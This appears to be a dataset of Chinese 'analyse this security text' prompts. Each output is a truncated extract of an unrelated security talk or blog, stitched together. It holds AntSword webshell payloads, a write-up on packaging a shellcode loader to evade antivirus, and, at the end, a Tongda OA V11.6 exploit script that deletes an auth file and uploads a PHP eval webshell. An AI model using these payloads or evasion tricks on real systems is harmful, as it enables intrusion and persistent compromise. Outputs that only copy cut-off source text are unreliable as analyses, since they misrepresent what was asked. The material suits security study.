216 in 5840 symbols
Error Types
1 to 1
Many to Many
 Hex Encoding is good, but probably not perfect
 Need compact error detection
 2-byte XOR checksum
 Assumptions, assumptions, assumptions
1551 errors in 135,420 symbols (1.1 % error)
 B to 8: 261; 1 to l: 359; 5 to S: 864
 D to 0, O: 57;  6 to G,q,b: 3
 Alternative characters:
 # for B
 ? for D
 Auto-replace other major errors
 “l”, “S”, “.”, “ “
 Add strong visual indicators
 1 manual correction in 1210 lines of text
Demo Time!
 Pros:
 Extremely reliable
 Can be entered by hand if no scanner
 Cons:
 Low data density: ~3.6K per page best case
 Common Tools:
 PowerSploit: 835 kB = 232 pages
 Mimikatz: 538 kB = 150 pages
 No exfiltration “compression” advantage
 ~...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

title: 蚁剑改造计划之支持内存马
author: yzddmr6
blog: yzddmr6.tk
前言
最近因为各种事情太忙了，博客也很久没有更新了。今天暂且先水一篇。
前几天发了一版新的蚁剑JSP一句话的payload，这篇文章记录一下更新的细节。
1. 兼容高版本JDK
这个没啥好说的，就是base64解码的问题。在jdk9开始移除了sun.misc这个包，导致原有的
sun.misc.BASE64Decoder 没法继续使用，取而代之的是 java.util.Base64 这个类。
解决办法就是两个都试一下，看哪个能解码成功，核心代码如下
2. 兼容Tomcat内存马
这个问题可以掰扯一下。很多文章都提到了冰蝎或者蚁剑连接内存马的问题。
除了由于写法问题而导致的各种乱七八糟的问题以外，其中主要的一个问题是冰蝎在入口处采用了
pageContext这个类来获取request response session对象，本人以冰蝎为原型实现的蚁剑JSP一句话同
样采用了pageContext作为入口。但是以ﬁlter型内存马为例，doFilter中三个参数分别是
ServletRequest，ServletResponse，FilterChain，并不存在pageContext这个东西。
那么大体上有三种解决办法：
1. 自己声明一个pageContext类，在里面实现对应的request跟response的getter setter。冰蝎改造
之不改动客户端=>内存马。
2. 改写冰蝎的入口为request+response，不再采用pageContext作为入口。但是弊端就是不能再用
equals了，要重新写一个方法用反射调用。冰蝎改造之适配基于tomcat Filter的无文件webshell
3. 采用蚁剑原来的Custom模式，把恶意函数直接通过字节码打进去，然后通过方法名调用。不过由
于直接编译恶意函数的字节码较大会超过最大长度限制，一般要先写入目标然后配合
URLClassLoader才能使用。使用WebLogic CVE-2020-2883配合Shiro rememberMe反序列化一
键注入蚁剑shell
以上的这些方法可以是可以，但是不够优雅。
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer",
String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode",
String.class).invoke(decoder, str);
        }
    }
回想我们最开始的问题，为什么要用pageContext，是为了拿到当前请求的上下文，更精确一点就是输
入输出：request,response。经过实际调试可以发现：
在request中本身就包含了当前的response，同样response中也包含了当前的request。
虽然蚁剑没有用到session对象，但是需要的时候也可以通过request来获取。
也就是通过request或者response任意一个就能完全代替pageContext，这也是在新版payload中采取
的方案。
核心代码如下
   if (obj instanceof PageContext) {
            PageContext page = (PageContext) obj;
            request = (HttpServletRequest) page.getRequest();
            response = (HttpServletResponse) page.getResponse();
在equals中收到一个对象后，会依次判断是否是
PageContext/HttpSer...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Aylin Caliskan
      @aylin_cim
Assistant Professor
George Washington University
Rachel Greenstadt
      @ragreens
Associate Professor
Drexel University
De-anonymizing Programmers from Source Code and Binaries
August 10, 2018
1
Stylometry
Natural language
English
English as a second language
Translated text
Underground forum text
Artificial language
Programming languages
Python
C/C++
Source code
Binary executables
August 10, 2018
2
Stylometry
Natural language
FBI
Expert witnesses
European high-tech crime units
Artificial language
Expert witnesses
DARPA
US Army Research Laboratory
August 10, 2018
3
August 10, 2018
Why de-anonymize programmers?
4
Iran confirms death sentence for 'porn site' web programmer.
No technical difference between
security-enhancing and privacy-infringing
Source code stylometry
August 10, 2018
5
Source code stylometry
 Application
Learner
Setting
Software forensics
Multiclass
Open world
Stylometric plagiarism detection
Multiclass
Closed world
Copyright investigation
Two-class
Closed world
Authorship verification
Two-class/One-class
One-class open world
A machine learning classification task
August 10, 2018
6
Random Forest Classifier
 A           B            C           D
De-anonymizing Programmers
Fuzzy Parsing
Identifying
Programmer Fingerprints
Language
Processing
Supervised
Machine Learning
Privacy and Security
Implications
Source Code
August 10, 2018
7
De-anonymizing programmers
 Application
Classes
Instances
Accuracy
Stylometric plagiarism detection
250 class
  2,250
  98%
Large scale de-anonymization
1,600 class
14,400
  94%
Copyright investigation
Two-class
     540
100%
Authorship verification
Two-class/One-class
  2,240
  91%
Open world problem
Multi-class
     420
  96%
Principled method & robust syntactic feature set
August 10, 2018
8
Source code stylometry
preprocessing
extract features
majority vote
 A            B             C             D
random forest
fuzzy AST parser
1,600 contestants – C++
De-anonymized Programmers
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Hooked Browser
Meshed-Networks with
WebRTC and BeEF
The sad tale of vegetarian browsers
Trigger warning: presentation includes JavaScript
$ whoami
• Christian Frichot
• @xntrik
• Co-Author of The Browser Hacker’s Handbook
• @beefproject developer
DEFCON 23 @xntrik Vegie Browsers
DEFCON 23 @xntrik Vegie Browsers
$ ./display_overview.sh
DEFCON 23 @xntrik Vegie Browsers
JS, client-side testing
& BeEF
Mooo
DEFCON 23 @xntrik Vegie Browsers
Problems with browser
communication channels
DEFCON 23 @xntrik Vegie Browsers
How WebRTC can
help
Plus: wth is WebRTC?
DEFCON 23 @xntrik Vegie Browsers
Integration WebRTC
into BeEF
Plus Demo!
DEFCON 23 @xntrik Vegie Browsers
$ ./lets_go
Unfortunately BeEF is written in Ruby and not #golang
DEFCON 23 @xntrik Vegie Browsers
Client-side security
testing
DEFCON 23 @xntrik Vegie Browsers
Browser’s explosive
growth
DEFCON 23 @xntrik Vegie Browsers
Attack surface growth
DEFCON 23 @xntrik Vegie Browsers
Demise of thick-ish
based browser tech
DEFCON 23 @xntrik Vegie Browsers
$ killall ﬂash
Who hasn’t done this yet??
DEFCON 23 @xntrik Vegie Browsers
$ brew install web2.0
DEFCON 23 @xntrik Vegie Browsers
DEFCON 23 @xntrik Vegie Browsers
WTF is browser
hacking?
$ ./initiate_pimp_mode.sh
DEFCON 23 @xntrik Vegie Browsers
@antisnatchor
(hates pants)
@wadealcorn
(likes pants)
DEFCON 23 @xntrik Vegie Browsers
Initiating
Control
Retaining
Control
Bypassing
SOP
Attacking
Users
Attacking
Extensions
Attacking
Users
Attacking
Browsers
Attacking
Plugins
Attacking
Networks
Attacks
DEFCON 23 @xntrik Vegie Browsers
Initiating
Control
Bypassing
SOP
Attacking
Users
Attacking
Extensions
Attacking
Users
Attacking
Browsers
Attacking
Plugins
Attacking
Networks
Attacks
Retaining
Control
DEFCON 23 @xntrik Vegie Browsers
$ ./beef
DEFCON 23 @xntrik Vegie Browsers
$ cat beef | grep ‘comm’
• XMLHttpRequest
• WebSockets
• DNS
DEFCON 23 @xntrik Vegie Browsers
$ vim core/main/client/net.js
$ vim core/main/client/websocket.js
$ vim core/main/cl...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Hacking electric skateboards:
vehicle research for mortals
Richo Healey & Mike Ryan
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Who are these jerks anyway
‣ richo
‣ Computer Jerk
‣ @rich0H
‣ Duck Enthusiast
‣ Ran WrongIslandCon
‣ mike
‣ Bluetooth Guy
‣ @mpeg4codec
‣ Owner/Operator of
conscience (sometimes)
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Why buy an $nK skateboard?
‣ Lightweight
‣ (relatively) inexpensive
‣ .. maybe wanted on the hype train early
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Why buy an $nK skateboard?
‣ Lightweight
‣ (relatively) inexpensive
‣ .. maybe wanted on the hype train early
‣ Maybe to hax it
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Why hax a $1k skateboard?
‣ Because it’s there
‣ Vehicle research is cool
‣ But not all of us can afford to brick a car
‣ Figured we might be able to illustrate a point about
the state of security research
@mpeg4codec / Hacking Electric Skateboards / @rich0H
The boards
‣ Boosted
@mpeg4codec / Hacking Electric Skateboards / @rich0H
The boards
‣ Evolve
@mpeg4codec / Hacking Electric Skateboards / @rich0H
The boards
‣ Yuneec E-go
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Maybe you’ve spotted the design trend here
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Hope yer wearin’ yer lernin’ b00tz
Agenda
‣ Boosted
‣ Bluetooth GATT
‣ Jammers
‣
PyBT
‣ Evolve
‣ … bluetooth?
‣ Weird RF protocols
‣ E-go
‣ … wiﬁ?!
‣ Boosted (Redux)
‣ Fiiiiiirmware!
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Or whatever
Right so like hacking
‣ Most of these boards use bluetooth
‣ I know nothing about bluetooth
‣ I know mike though
‣ mike knows bluetooth
‣ How hard can this possibly be?
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Boosted
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Boosted
‣ Bluetooth Remote
‣ Regenerative Braking
‣ Firmware Upgradable
@mpeg4codec / Hacking Electric Skateboards / @rich0H
Storytime
Co-opting a GATTling gun
Bluetooth a...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

TenProtect  Conficential, Copyright @Tencent, 2019
游戏安全的攻防艺术
joeywzhu@tencent.com
2019.02
TenProtect  Conficential, Copyright @Tencent, 2019
个人简介
• 2013 至今，腾讯游戏业务安全部技术专家
• 2005-2012 ，趋势科技架构师
• 2005-2008,  开发和设计 PE 病毒沙箱
• 2008-2012, 开发和设计脚本漏洞分析引擎
• 2013 to now, 开发和设计游戏安全通用方案
• 2011.8 Defcon 讲演 “ Chinese phishing at Defcon19”, Las Vegas
TenProtect  Conficential, Copyright @Tencent, 2019
1. 外挂是什么
TenProtect  Conficential, Copyright @Tencent, 2019
多少秒扫雷能够完成
1s
1s
TenProtect  Conficential, Copyright @Tencent, 2019
CrossFire 透视外挂
TenProtect  Conficential, Copyright @Tencent, 2019
注 : 为了适应手游屏幕特点，手游上的外挂增加了射线
CrossFire 手游透视外挂
TenProtect  Conficential, Copyright @Tencent, 2019
外挂的发展史
• 单机游戏， CheatEngine/FPE
• 网络游戏
– 脱机挂 (WPE/WireShark)
– 加速 / 倍攻 ( 数值异常 )
– 透视 / 自瞄  (Hook, 驱动 )
– 炸房 / 强登
• 打金工作室 / 代充 / 代练
• 手游模拟器
TenProtect  Conficential, Copyright @Tencent, 2019
目前中国的外挂行业运作模式
TenProtect  Conficential, Copyright @Tencent, 2019
中国网游作弊用户分布
• 越热门的游戏作弊越多
• 一些作弊软件卖的很贵
• 绝大作弊者都是新进玩家
• 60% 作弊发生在网吧
• 由于 PUBG 的影响， fps 作弊
现在非常流行
TenProtect  Conficential, Copyright @Tencent, 2019
FPS 游戏作弊的爆发
• PUBG
• 在 2108 年，超过 2700 款外挂被监控到
• 高峰期每天超过 100 款外挂进行更新
• FPS
• 2018 年大约有 60 款以上的 FPS 生存游戏
• 所有的游戏都发现有外挂的存在
• APEX
• 自 02-05 发布以来， 72 小时超过 1000 万玩家
• 已经发现超过 60 外挂在售卖
TenProtect  Conficential, Copyright @Tencent, 2019
月入宝马不是梦
TenProtect  Conficential, Copyright @Tencent, 2019
2. 外挂技术原理的讨论
TenProtect  Conficential, Copyright @Tencent, 2019
安全领域的大讨论
• 软件漏洞
– 游戏 bug ，复制金币
– 客户端逻辑没有服务器验证
– 盗版问题
• 网络安全
– 报文篡改
– DDOS 攻击
• 服务器、数据安全
– 服务器入侵
– SQL 注入 / 回档
TenProtect  Conficential, Copyright @Tencent, 2019
暗黑 3 漏洞 - 金币复制
TenProtect  Conficential, Copyright @Tencent, 2019
内存修改型
• 游戏对象属性
– 血量，攻击力，怪物等等
• 修改或调用游戏逻辑
– 碰撞检测，自动瞄准
• 游戏资源文件
– 手游 / 弱联网
– 本地效果
TenProtect  Conficential, Copyright @Tencent, 2019
LOL 改模型
TenProtect  Conficential, Copyright @Tencent, 2019
堡垒之夜 / 人物透视
TenProtect  Conficential, Copyright @Tencent, 2019
脱机挂 / 协议模拟
• 端游
– UnReal Engine( 开源 )
– 外挂工作室
• 页游
– Fiddle
• 手游
– 离线
PUBG Radar show playe...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Pillaging DVCS Repos
Adam Baldwin
INTRODUCTION
Distributed Version Control Systems (DVCS) including Git, Mercurial (HG), and Bazaar
(BZR) are becoming increasingly popular and also a convenient method of deploying
updates to web applications. DVCS track revision history and other information about
the repository inside a meta directory. In some cases the meta directory is left inside the
web root of the website unprotected. This information could be very valuable to an
attacker or as part of a penetration test.
OBJECTIVE
The goal of this research was to identify methods in which information could be
remotely extracted from the exposed meta directory and recreate as much of the
repository state as possible.
REPOSITORY IDENTIFICATION
The ﬁrst step in our process was to remotely and reliably identify the presence of an
exposed DVCS meta directory. It was found that each DVCS we tried had a predictable
set of ﬁle names, paths and contents. Using this information we created a set of regular
expressions to identify a positive match.
DVCS
File
Regular Expression
GIT
.git/HEAD
^ref: refs/'
HG
.hg/requires
^revlogv1'
BZR
.bzr/README
^This\sis\sa\sBazaar'
A discovery plugin called ﬁndDVCS.py was created for the W3AF (Web Application
Attack and Audit Framework) framework. This plugin uses the above regular
expressions for repository identiﬁcation.
PREDICTABLE FILES
The next step in extracting repository data is to download ﬁles with predictable ﬁle
locations. Some of these are critical in extracting useful information from the repository.
Below is a list of some of the predictable ﬁles. Some are left out just because we donʼt
care about them.
GIT
File
Notes
.git/HEAD
Used to identify the repository and repository refʼs
.git/conﬁg
Lists branches and remotes that may provide other targets to
attack.
.git/index
“sorted list of path names, each with permissions and the SHA-1 of
a blob object” [0]
.git/logs/HEAD
Current HEAD reference
.git/hooks/*
applypatch-msg.s...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

剑走偏锋
—蓝军实战缓解措施滥用
# Whoami
• @askme765cs
• 安全研究员@绿盟科技
• M01N战队核心成员
• 专注系统安全与终端对抗
目录
CONTENTS
01
02
03
Mitigations 101
Red Team Operation
"Mitigation Hell"
Part 01
Mitigations 101
01
Why Mitigations?
漏洞利用两种常见路径
• 数据破坏
• 代码执行
利用过程中的动作与特征
• 修改代码段
• 加载DLL
• 创建新进程
• …
Mitigations的效用
• 截断利用链，削减机会窗口
• 对抗未知威胁与潜在攻击
02
Mitigations Timeline
• ASLR
• DEP
• SafeSEH
• SEHOP
• CFG
• CIG
• ACG
• Child Process
Policy
• CFG Strict Mode
• CFG Export Suppression
• NoLowMandatoryLabelImages
• …
Pre-Win10
TH1
RS1
RS2
RS3 +
03
Code intergerity guard-CIG
• Windows 10 TH2 (1511)引入
• 阻止恶意DLL注入受保护应用程序
• 对加载DLL的签名进行验证
• 仅允许可信签名的DLL加载
• MicrosoftSignedOnly
• StoreSignedOnly
• 内核主要检查代码位于
MiValidateSectionSigningPolicy
• 受影响的API
NtCreateSection
04
Arbitrary code guard-ACG
• Windows 10 RS1 (1607)引入
• 贯彻W^X原则
• 禁止修改已有代码(X)修改为可写(W)
• 禁止修改可写数据(W)修改为可执行(X)
• 禁止分配或映射新的可执行内存
• 内核主要检查代码位于
MiAllowProtectionChange
MiMapViewOfSection
• 受影响的API
NtAllocateVirtualMemory
NtProtectVirtualMemory
NtMapViewOfSection(SEC_IMAGE/SEC_FILE)
Arbitrary code guard-ACG
05
• 用户态API
• VirtualAlloc with PAGE_EXECUTE_*
• VirtualProtect with PAGE_EXECUTE_*
• MapViewOfFile with FILE_MAP_EXECUTE | FILE_MAP_WRITE
• SetProcessValidCallTargets for CFG
Boundary of ACG
06
• 只能限制程序本身，不能阻止其他程序对其的修改
• 开启AllowRemoteDowngrade则可通过其他程序关闭ACG
08
Mitigation Flags-EPROCESS
ULONG Flags、Flags2、Flags3、Flags4
ULONG MitigationFlags、MitigationFlags2
09
Mitigation Policy-注册表
设置指定名称\路径程序的Mitigation Policy-IFEO
• HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
• MitigationOptions:REG_BINARY
系统全局Mitigation Policy
• HKLM\System\CurrentControlSet\Control\Session Manager\kernel\
• MitigationOptions:REG_BINARY
10
Mitigation Policy-注册表
11
Mitigation Policy-Powershell
查看程序Mitigation Policy(从程序读取)
• Get-ProcessMitigation –Running –Name notepad.exe
查看程序Mitigation Policy(从注册表读取)
• Get-ProcessMitigation -Name notepad.exe
设置程序Mitigation Policy(写入注册表)
• Set-ProcessMitigation -Name notepad.exe -Enable MicrosoftSignedOnly
12
13
系统设置
• 设置系统...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
精简JRE打造⽆依赖的Java-ShellCode-Loader
前⾔
jre⽬录结构
lib⽬录
bin⽬录
精简rt.jar
精简dll
⾃解压捆绑执⾏
EnigmaVirtualBox打包全部⽂件
EnigmaVirtualBox打包jre
最后
@yzddMr6
利⽤⼩众语⾔进⾏免杀⼀直是⼀个屡试不爽的⽅法，从python到go再到现在的nim免杀，⽤的⼈越
多杀软的检测也就越来越严格。现在⾃⼰写的go程序基本只要涉及到⽹络通信360就⼲掉了。那么还有没
有什么新的姿势呢？
之前介绍过在As-Exploits中⽤到的基于JNA实现的
ShellCodeLoader(https://t.zsxq.com/022FQrFAu)，这个Loader在精简后不到1m，配合JarLoader模
块在插件⾥⾯可以直接内存加载，⽂件不落地。后来发现落地了问题也不⼤，到现在VT还是0/57。所以
前⾔
2
后来抽出来作为⼀个单独的项⽬：https://github.com/yzddmr6/Java-Shellcode-Loader
实战⾥⾯有Java的WebShell⽤起来⾮常⽅便，⼀键免杀xxx。但是缺点是如果⽤来钓⻥，或者碰上
jdk环境过⾼过低都⽤不了，还是有局限性。所以就研究了⼀下怎么跟jre⼀起打包成⼀个单独的可执⾏⽂
件exe。
⽬前成果如下：⽤⾃解压精简后带jre环境的exe只有6.5m，⽤Enigma Virtual Box压缩模式8.5m，
跟python打包后差不多⼤⼩，VT 6/67，基本可以实现我们的需求。
原版⼀个jre⼤概快200m，在没有安装jre环境的普通⽤户来说，显然带着整个jre和后⻔⼀起打包是
不可能的了，但我们可以从jre中提取加载后⻔时需要⽤到的class⽂件,并集合到⼀起,这样就能⼤⼤压缩
jre的体积。
jre最主要的两个⽬录是bin跟lib，bin下主要是各类dll跟可执⾏⽂件，lib下是java的依赖库。精简jre
就可以从这两⽅⾯⼊⼿。
access-bridge-64.jar
Java Accessibility API是Java Accessibility Utilities的⼀部分，它是⼀组实⽤程序类，可帮助辅助技术提供对实
现Java Accessibility API的GUI⼯具包的访问。
charsets.jar
Java 字符集，包含 Java 所有⽀持字符的字符集
cldrdata.jar
jre⽬录结构
lib⽬录
3
Unicode CLDR为软件提供了⽀持世界语⾔的关键构建块，提供了最⼤和最⼴泛的语⾔环境数据库。 这些数据被
⼴泛的公司⽤于其软件国际化和本地化，使软件适应不同语⾔的惯例以⽤于此类常⻅软件任务.
deploy.jar
Java安装⽬录的常⻅部分 - 该⽂件运⾏某些产品的安装。 正确设置Java路径后，⽤户可以执⾏此⽂件（只需双
击它或按⽂件上的Enter键），要部署的应⽤程序将运⾏其安装程序。 例如。 诺基亚OVI套件通常使⽤这种部署
形式。 作为彼此的JAVA包，如果您将其重命名为ZIP并打开内容，则可以检查包中的类。
dnsns.jar
即DNS naming service ,提供DNS地址服务的包，⾥⾯只有2个⽅法 getHostByAddr和 lookupAllHostAddr
jaccess.jar
定义Assistive Technologies.AWT（Abstract Window Toolkit）使⽤的JDK实⽤程序类
javaws.jar
JNLP（Java Network Launching Protocol ）是java提供的⼀种可以通过浏览器直接执⾏java应⽤程序的途径。
jce.jar
java类库是java发布之初就确定了的基础库， ⽽javax类库则是在上⾯增加的⼀层东⻄，就是为了保持版本兼容
要保存原来的，但有些东⻄有了更好的解决⽅案， 所以，就加上些，典型的就是awt(Abstract Windowing
ToolKit) 和swing。） 这个包都是加密相关的。
jfr.jar
和 jdk\bin\jmc.exe有关系。Java Mission Control 包括 JMX 控制台和 Java ⻜⾏记录器。 Java ⻜⾏记录器
(JFR) 是⼀个⽤于收集有关正在运⾏的 Java 应⽤程序的诊断数据和概要分析数据的⼯具。它集成到 Java 虚拟
机 (JVM) 中， ⼏乎不会带来性能开销，因此甚⾄可以在⾼负载⽣产环境中使⽤。使⽤默认设置时，内部测试和
客户反馈表明性能影响低于 1%。 对于⼀些应⽤程序，这⼀数字会⼤幅降低。但是，对于短时间运⾏的应⽤程
序 ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

设备
  皆有
    故障!
全⾯面沦陷:噪声攻击与IOT设备的
10+年年战争
⽬目录
概述
FI 的发展和现状
FI的实际应⽤用
FI的预防
问题在哪?
const char *PIN = "19379148"
// Compare the PIN with the correct one
// Return true if different
bool comparePIN(char *pin) {
    for (int i=0; i<strlen(pin); i++) {
        if (pin[i]!=PIN[i])
            return true;
    }
    return false;
}
// Authenticate PIN.
// Return true if incorrect
bool pinAuthentication() {
    char pin[80];
    char tmp[80];
    bool result=false;
    printf("Please, introduce PIN\r\n");
    gets(pin);
    result = comparePIN(pin);
    if (result == false) {
        sprintf(tmp,"PIN correct\r\n");
    } else {
        sprintf(tmp,"PIN %s is
                     incorrect\r\n",pin);
    }
    printf(tmp);
    return result;
}
问题在哪?
const char *PIN = "19379148"
// Compare the PIN with the correct one
// Return true if different
bool comparePIN(char *pin) {
    for (int i=0; i<strlen(pin); i++) {
        if (pin[i]!=PIN[i])
            return true;
    }
    return false;
}
// Authenticate PIN.
// Return true if incorrect
bool pinAuthentication() {
    char pin[80];
    char tmp[80];
    bool result=false;
    printf("Please, introduce PIN\r\n");
    gets(pin);
    result = comparePIN(pin);
    if (result == false) {
        sprintf(tmp,"PIN correct\r\n");
    } else {
        sprintf(tmp,"PIN %s is
                     incorrect\r\n",pin);
    }
    printf(tmp);
    return result;
}
问题在哪?
const char *PIN = "19379148"
// Compare the PIN with the correct one
// Return true if different
bool comparePIN(char *pin) {
    for (int i=0; i<strlen(PIN); i++) {
        if (pin[i]!=PIN[i])
            return true;
    }
    return false;
}
// Authenticate PIN.
// Return true if incorrect
bool pinAuthentication() {
    char pin[80];
    char tmp[80];
    bool result=false;
    printf("Please, introduce PIN\r\n");
    fgets(pin,sizeof(pin),stdin);
    result = comparePIN(pin);
    if ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

-webshell
self-xssxss
A“”
0x01
http/https
nodejsgoby
js
rcegobywebshell
1. jb
2. shell.php
3. jb
4. jb
5. jbwebshell
6.
7. JS⸻—RCE
OKwebshelljbrcewebshell
webshell
1. post
2.
3.
4. ”“
5.
0x02
111webshell
111=@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
$oparr=preg_split("/\\\\|\//",$opdir);
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$tmdir=".cc06e1b50e";
@mkdir($tmdir);
@chdir($tmdir);
@ini_set("open_basedir","..");
for ($i=0;$i<sizeof($oparr);$i++) {
@chdir("..");
}
@ini_set("open_basedir","/");
@rmdir($ocwd."/".$tmdir);
}
;
function asenc($out) {
return $out;
}
;
function asoutput() {
$output=ob_get_contents();
ob_end_clean();
echo "c63f"."aa80";  //
echo @asenc($output);
echo "03b"."b509"; //
}
ob_start();
try {
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D}
";
if(substr($D,0,1)!="/") {
foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
} else {
$R.="/";
}
$R.="
";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.="
{$s}";
echo $R;
;
}
catch(Exception $e) {
echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();
c63faa80D:/phpstudy_pro/WWW C:D:E:F:
Windows NT LAPTOP-465G 6.2 build 9200 (Windows 8 Business Edition) i586 USER
03bb509
webshellweb
”webshell“
 \t
$ze="%echo \"([^<]*?).\"([^<]*?)\";%si";
preg_match($ze,$A,$B);
$c="$B[0]"; // echo "xxxx"."xxxx";
$key= str_replace(['"', '.', 'echo', ' ', ";"], "", $c); //xxxxxxxx
$txt='D:/phpstudy_pro/WWW'."\t".'C:D:E:F:'."\t".'Windows NT LAPTOP-46FFII5G 6.2 build 9200 (Windows 8 Business Editi
on) i586'."\t".'administrator';
echo "$key"."$txt";//
$ret=127;
++
$ze="%echo \"([^<]*?).\"([^<]*?)\";%si";
preg_match($ze,$A,$B);
$c="$B[0]";
$key= str_replace(['"', '.', 'echo', ' ', ";"], "", $c);
    $payload='http://exp.com/index.html';//js
    echo "$key".'ret=405'."\n".'AntSword'."$payload";//
0x03 demo
w...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Malicious CDNs: Identifying Zbot
Domains en Masse via SSL
Certiﬁcates and Bipartite Graphs
Dhia Mahjoub and Thomas Mathew
Overview
• The goal of this talk is to provide a series of simple
statistical methods that allow a researcher to
identify ZBot domains using SSL data
• All of the data discussed is open source and can
be obtained at scans.io/study/sonar.ssl (thanks
rapid7!)
SSL
• Secure Socket Layer
• Method of encrypting trafﬁc over HTTP
• Increase in websites employing SSL
SSL (cont)
• Interested in the x509 certiﬁcate
• Contains information regarding the issuer, subject,
creation date, etc
• Each certiﬁcate associated with IP(s)
• x509 contain a CommonName ﬁeld which can be
either blank or contain an alphanumeric string
• Our interest is in CommonNames that are valid
domain names
SSL (Cont)
• x509 certiﬁcates reveal valuable network
information
• Maps relationship between domestic vs
commercial IP space
•  Gives information regarding ownership of a
particular IP
SSL (Cont)
CDNs, SSL, Zbot?
• CDNs serve as content delivery for popular domains
• CDNs help establish similar connections to a
domain by hosting identical x509 certiﬁcates or
x509 certiﬁcates with the same common name
• In recent times Zbot has attempted to use its
network of hacked machines as CDN for malicious
actors (hosts carding forums, trojans, etc)
• Can we use SSL data to help us identify Zbot?
Sonar Data
• 2x or 4x monthly scan of the entire IPv4 IP space
• x509 —> IP pairing
• Sampled data because of restrictions
Sonar Data
• Longitudinal study of Sonar SSL data. Examine
hosting patterns over a 5 month time period
• Hope to identify anomalous behavior
Sonar Data
• Table documents the
number of SHAs and
CommonNames per
month
• Manually infeasible
Unique
SHAs
Unique
Common
Names
JAN
1,068,402
850,236
FEB
692,542
589,609
MARCH
977,484
813,773
APRIL
249,252
233,834
MAY
1,098,914
958,321
Investigation
• Data easier to work with if it has a natural structur...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

【漏洞⽇记】深X服还没完，通达OA⼜搞RCE漏洞【OA V11.6】
Agan '
 338
 收藏 1
 原⼒计划
分类专栏： Web常⻅漏洞篇【免费】
 ⽂章标签： 通达OA RCE
2020-08-19 02:47:07
版权
当你的才华
还撑不起你的野⼼时
那你就应该静下⼼来学习
⽬录
0x01 通达OA V11.6 源码下载与安装
0x02 前⾔
0x03 复现漏洞
EXP 脚本
0x04 通达OA V11.5和V11.7 版本⽆法复现该漏洞过程
本次漏洞复现，只测试了三个版本：
通达 OA V11.7 (最新)
通达 OA V11.6
通达 OA V11.5
订阅博主
关注
点赞 3
评论 2
分享
收藏 1
⼿机看
打赏
修复建议：升级⾄最新版本
PS：该漏洞影响很⼤，如果被成功利⽤后会删除OA所需要的php⽂件来绕过验证，
会对⽹站造成影响，建议渗透测试业务时，千万要让客户做系统备份或数据备份，很
容易出事... ...
请勿⽤作犯罪使⽤，⽹络不是法外之地，请珍惜⽣命，勿触犯法律... ...
你任何的动作，别⼈都知晓，⼈外有⼈，天外有天，且⾏且珍惜... ...
0x01 通达OA V11.6 源码下载与安装
通达OA V11.6 下载地址：http://www.kxdw.com/soft/23114.html
步骤1：运⾏安装包傻⽠式安装
订阅博主
关注
点赞 3
评论 2
分享
收藏 1
⼿机看
打赏
步骤2：运⾏安装包傻⽠式安装
订阅博主
关注
点赞 3
评论 2
分享
收藏 1
⼿机看
打赏
步骤3：运⾏安装包傻⽠式安装
订阅博主
关注
点赞 3
评论 2
分享
收藏 1
⼿机看
打赏
步骤4：成功安装
0x02 前⾔
账号为：admin 密码为：空
订阅博主
关注
点赞 3
评论 2
分享
收藏 1
⼿机看
打赏
先登录看看，密码为空，直接登录，样式是这样的
订阅博主
关注
点赞 3
评论 2
分享
收藏 1
⼿机看
打赏
0x03 复现漏洞
EXP 脚本
EXP：直接打，直接写到⽹站根⽬录下，⽂件名为：_agan.php，菜⼑链接密码为：agan
1
import requests
2
3
target="http://192.168.159.137:8080/"
4
payload="<?php eval($_POST['agan']);?>"
5
print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
6
input("Press enter to continue")
7
print("[*]Deleting auth.inc.php....")
8
订阅博主
关注
点赞 3
评论 2
分享
收藏 1
⼿机看
打赏
直接利⽤上述代码即可，改⼀下你的URL地址即可
成功利⽤
10
11
print("[*]Checking if file deleted...")
12
url=target+"/inc/auth.inc.php"
13
page=requests.get(url=url).text
14
if 'No input file specified.' not in page:
15
    print("[-]Failed to deleted auth.inc.php")
16
    exit(-1)
17
print("[+]Successfully deleted auth.inc.php!")
18
print("[*]Uploading payload...")
19
21
requests.post(url=url,files=files)
22
url=target+"/_agan.php"
23
page=requests.get(url=url).text
24
if 'No input file specified.' not in page:
25
    print("[+]Filed Uploaded Successfully")
26
    print("[+]URL:",url)
27
else:
28
    print("[-]Failed to upload file")
9
